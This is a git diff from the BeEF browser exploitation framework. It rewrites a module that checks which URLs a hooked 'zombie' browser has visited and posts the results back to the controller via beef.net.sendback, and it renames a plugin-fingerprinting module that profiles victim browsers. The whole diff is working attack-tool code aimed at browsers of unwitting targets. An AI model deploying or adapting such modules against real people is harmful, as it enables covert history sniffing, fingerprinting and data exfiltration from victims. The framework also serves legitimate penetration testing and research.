diff --git a/modules/beefjs/browser.js b/modules/beefjs/browser.js index 0b19fb843..3d92c527b 100644 --- a/modules/beefjs/browser.js +++ b/modules/beefjs/browser.js @@ -340,7 +340,7 @@ beef.browser = { }, /** - * Returns boolean (or array of results), whether or not the target zombie has visited the specified URL + * Returns array of results, whether or not the target zombie has visited the specified URL */ hasVisited: function(urls) { var results = new Array(); @@ -373,8 +373,6 @@ beef.browser = { if (results.length == 0) { return false; - } else if (results.length == 1) { - return results[0].visited; } return results; } diff --git a/modules/commands/recon/detect_plugins/detect_plugins.js b/modules/commands/browser/detect_details/detect_details.js similarity index 100% rename from modules/commands/recon/detect_plugins/detect_plugins.js rename to modules/commands/browser/detect_details/detect_details.js diff --git a/modules/commands/recon/detect_plugins/detect_plugins.rb b/modules/commands/browser/detect_details/detect_details.rb similarity index 93% rename from modules/commands/recon/detect_plugins/detect_plugins.rb rename to modules/commands/browser/detect_details/detect_details.rb index 019cd5914..148b17720 100644 --- a/modules/commands/recon/detect_plugins/detect_plugins.rb +++ b/modules/commands/browser/detect_details/detect_details.rb @@ -2,7 +2,7 @@ module BeEF module Modules module Commands -class Detect_plugins < BeEF::Command +class Detect_details < BeEF::Command def initialize super({ @@ -11,7 +11,7 @@ class Detect_plugins < BeEF::Command This module will retrieve the selected zombie browser plugins, browser type and scripting engines, plus screen dimensions.' }, - 'Category' => 'Recon', + 'Category' => 'Browser', 'Author' => ['wade','vo','passbe'], 'File' => __FILE__, 'Target' => { diff --git a/modules/commands/browser/detect_visited_urls/detect_visited_urls.js b/modules/commands/browser/detect_visited_urls/detect_visited_urls.js index 79f3b7bb8..75e178c3a 100644 --- a/modules/commands/browser/detect_visited_urls/detect_visited_urls.js +++ b/modules/commands/browser/detect_visited_urls/detect_visited_urls.js @@ -1,16 +1,10 @@ beef.execute(function() { var results = beef.browser.hasVisited("<%== format_multiline(@urls) %>"); - window.console.log(results); - /*var comp = ""; - if (results instanceof Array) + var comp = ''; + for (var i=0; i < results.length; i++) { - for (var i=0; i < results.length; i++) - { - comp += results[i].url+" = "+results[i].visited; - } - } else { - comp = "<%= @urls %> = "+results; - }*/ - beef.net.sendback("<%= @command_url %>", <%= @command_id %>, "result="+results); + comp += results[i].url+' = '+results[i].visited+' '; + } + beef.net.sendback("<%= @command_url %>", <%= @command_id %>, "result="+comp); });